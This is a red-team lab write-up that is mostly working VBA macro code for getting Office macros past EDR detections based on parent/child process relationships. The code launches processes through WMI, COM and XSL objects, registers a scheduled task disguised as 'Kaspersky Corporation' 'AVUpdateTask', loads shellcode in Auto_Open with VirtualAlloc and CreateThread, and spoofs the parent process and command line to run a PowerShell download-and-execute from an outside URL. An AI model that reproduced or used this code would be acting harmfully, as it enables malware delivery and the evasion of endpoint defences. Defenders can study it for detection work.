Defenders often engineer detections based on parent/child process relationships - i.e Excel spawns powershell - suspicious.
This lab is mostly based on the techniques discussed on https://www.countercept.com/blog/dechaining-macros-and-evading-edr/
Below are some techniques showing how those type of detections could be bypassed.
macro.vbaSet objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create("calc", Null, objConfig, intProcessID)
macro.vbaSet obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",Null,0
Set xml = CreateObject("Microsoft.XMLDOM")xml.async = FalseSet xsl = xmlxsl.load("file://|http://bad.xsl")xml.transformNode xsl
macro.vbaSet service = CreateObject("Schedule.Service")Call service.ConnectDim td: Set td = service.NewTask(0)td.RegistrationInfo.Author = "Kaspersky Corporation"td.settings.StartWhenAvailable = Truetd.settings.Hidden = FalseDim triggers: Set triggers = td.triggersDim trigger: Set trigger = triggers.Create(1)Dim startTime: ts = DateAdd("s", 30, Now)startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)trigger.StartBoundary = startTimetrigger.ID = "TimeTriggerId"Dim Action: Set Action = td.Actions.Create(0)Action.Path = "C:\Windows\System32\cmd.exe"'Action.Arguments = "/c whoami"Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3)
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtrPrivate Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtrPrivate Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtrPrivate Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPrivate Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPrivate Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongSub Auto_Open()Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long#If Vba7 ThenDim Xlbufvetp As LongPtr#ElseDim Xlbufvetp As Long#EndIfHyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)Wyzayxya = Hyeyhafxp(Zolde)Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)Next ZoldeLezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)End Sub
With this technique it is possible to specify the PID under which our process will be launched as well as process commandline arguments can be spoofed. Note that this is the same technique Cobalt Strike uses under the hood in its argue module:
' code from https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/' Windows API constantsConst EXTENDED_STARTUPINFO_PRESENT = &H80000Const HEAP_ZERO_MEMORY = &H8&Const SW_HIDE = &H0&Const PROCESS_ALL_ACCESS = &H1F0FFFConst PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000Const TH32CS_SNAPPROCESS = &H2&Const MAX_PATH = 260'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Data types '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''Private Type PROCESS_INFORMATIONhProcess As LongPtrhThread As LongPtrdwProcessId As LongdwThreadId As LongEnd TypePrivate Type STARTUP_INFOcb As LonglpReserved As StringlpDesktop As StringlpTitle As StringdwX As LongdwY As LongdwXSize As LongdwYSize As LongdwXCountChars As LongdwYCountChars As LongdwFillAttribute As LongdwFlags As LongwShowWindow As IntegercbReserved2 As IntegerlpReserved2 As BytehStdInput As LongPtrhStdOutput As LongPtrhStdError As LongPtrEnd TypePrivate Type STARTUPINFOEXSTARTUPINFO As STARTUP_INFOlpAttributelist As LongPtrEnd Type' from https://codes-sources.commentcamarche.net/source/42365-affinite-des-processus-et-des-threadsPrivate Type PROCESS_BASIC_INFORMATIONExitStatus As LongPEBBaseAddress As LongAffinityMask As LongBasePriority As LongUniqueProcessId As LongParentProcessId As LongEnd TypePrivate Declare Function NtQueryInformationProcess Lib "ntdll.dll" ( _ByVal processHandle As LongPtr, _ByVal processInformationClass As Long, _ByRef processInformation As PROCESS_BASIC_INFORMATION, _ByVal processInformationLength As Long, _ByRef returnLength As Long _) As Integer' From https://foren.activevb.de/archiv/vb-net/thread-76040/beitrag-76164/ReadProcessMemory-fuer-GetComma/Private Type PEBReserved1(1) As ByteBeingDebugged As ByteReserved2 As ByteReserved3(1) As LongLdr As LongProcessParameters As LongReserved4(103) As ByteReserved5(51) As LongPostProcessInitRoutine As LongReserved6(127) As ByteReserved7 As LongSessionId As LongEnd TypePrivate Type UNICODE_STRINGLength As IntegerMaximumLength As IntegerBuffer As Long' to change ^ to LongEnd TypePrivate Type RTL_USER_PROCESS_PARAMETERSReserved1(15) As ByteReserved2(9) As LongImagePathName As UNICODE_STRINGCommandLine As UNICODE_STRINGEnd TypePrivate Type PROCESSENTRY32dwSize As LongcntUsage As Longth32ProcessID As Longth32DefaultHeapID As Longth32ModuleID As LongcntThreads As Longth32ParentProcessID As LongpcPriClassBase As LongdwFlags As LongszexeFile As String * MAX_PATHEnd Type'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' kernel32 & ntdll bindings ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _ByVal lpApplicationName As String, _ByVal lpCommandLine As String, _lpProcessAttributes As Long, _lpThreadAttributes As Long, _ByVal bInheritHandles As Long, _ByVal dwCreationFlags As Long, _lpEnvironment As Any, _ByVal lpCurrentDriectory As String, _ByVal lpStartupInfo As LongPtr, _lpProcessInformation As PROCESS_INFORMATION _) As LongPrivate Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _ByVal dwAccess As Long, _ByVal fInherit As Integer, _ByVal hObject As Long _) As LongPrivate Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _ByVal hHeap As LongPtr, _ByVal dwFlags As Long, _ByVal dwBytes As Long _) As LongPtrPrivate Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtrPrivate Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _ByVal lpAttributelist As LongPtr, _ByVal dwAttributeCount As Integer, _ByVal dwFlags As Integer, _ByRef lpSize As Integer _) As BooleanPrivate Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _ByVal lpAttributelist As LongPtr, _ByVal dwFlags As Integer, _ByVal lpAttribute As Long, _ByRef lpValue As Long, _ByVal cbSize As Integer, _ByRef lpPreviousValue As Integer, _ByRef lpReturnSize As Integer _) As BooleanPrivate Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _ByVal dwFlags As Integer, _ByVal th32ProcessID As Integer _) As LongPrivate Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _ByVal hSnapshot As LongPtr, _ByRef lppe As PROCESSENTRY32 _) As BooleanPrivate Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _ByVal hSnapshot As LongPtr, _ByRef lppe As PROCESSENTRY32 _) As BooleanPrivate Declare Function ReadProcessMemory Lib "kernel32.dll" ( _ByVal hProcess As LongPtr, _ByVal lpBaseAddress As LongPtr, _ByVal lpBuffer As LongPtr, _ByVal nSize As Long, _ByRef lpNumberOfBytesRead As Long _) As BooleanPrivate Declare Function WriteProcessMemory Lib "kernel32.dll" ( _ByVal hProcess As LongPtr, _ByVal lpBaseAddress As Long, _ByVal lpBuffer As Any, _ByVal nSize As Long, _ByRef lpNumberOfBytesWritten As Long _) As BooleanPrivate Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Utility functions '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Finds the PID of a process given its namePublic Function getPidByName(ByVal name As String) As IntegerDim pEntry As PROCESSENTRY32Dim continueSearching As BooleanpEntry.dwSize = Len(pEntry)Dim snapshot As LongPtrsnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&)continueSearching = Process32First(snapshot, pEntry)DoIf Left$(pEntry.szexeFile, Len(name)) = LCase$(name) ThengetPidByName = pEntry.th32ProcessIDcontinueSearching = FalseElsecontinueSearching = Process32Next(snapshot, pEntry)End IfLoop While continueSearchingEnd FunctionPublic Function convertStr(ByVal str As String) As Byte()Dim i, j As IntegerDim result(400) As Bytej = 0For i = 1 To Len(str):result(j) = Asc(Mid(str, i, 1))result(j + 1) = &H0j = j + 2NextconvertStr = resultEnd FunctionSub AutoOpen()Dim pi As PROCESS_INFORMATIONDim si As STARTUPINFOEXDim nullStr As StringDim pid, result As IntegerDim threadAttribSize As IntegerDim parentHandle As LongPtrDim originalCli As StringoriginalCli = "powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName"' Get a handle on the process to be used as a parentpid = getPidByName("explorer.exe")parentHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)' Initialize process attribute listresult = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)' Set the parent to be our previous handleresult = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, parentHandle, Len(parentHandle), ByVal 0&, ByVal 0&)' Set the size of cb (see https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-_startupinfoexa#remarks)si.STARTUPINFO.cb = LenB(si)' Hide new process windowsi.STARTUPINFO.dwFlags = 1si.STARTUPINFO.wShowWindow = SW_HIDEresult = CreateProcess( _nullStr, _originalCli, _ByVal 0&, _ByVal 0&, _1&, _&H80014, _ByVal 0&, _nullStr, _VarPtr(si), _pi _)' Spoofing of cli argumentsDim size As LongDim PEB As PEBDim pbi As PROCESS_BASIC_INFORMATIONDim newProcessHandle As LongPtrDim success As BooleanDim parameters As RTL_USER_PROCESS_PARAMETERSDim cmdStr As StringDim cmd() As BytenewProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pi.dwProcessId)result = NtQueryInformationProcess(newProcessHandle, 0, pbi, Len(pbi), size)success = ReadProcessMemory(newProcessHandle, pbi.PEBBaseAddress, VarPtr(PEB), Len(PEB), size)' peb.ProcessParameters now contains the address to the parameters - read themsuccess = ReadProcessMemory(newProcessHandle, PEB.ProcessParameters, VarPtr(parameters), Len(parameters), size)cmdStr = "powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h')) # "cmd = convertStr(cmdStr)success = WriteProcessMemory(newProcessHandle, parameters.CommandLine.Buffer, StrPtr(cmd), 2 * Len(cmdStr), size)ResumeThread (pi.hThread)End Sub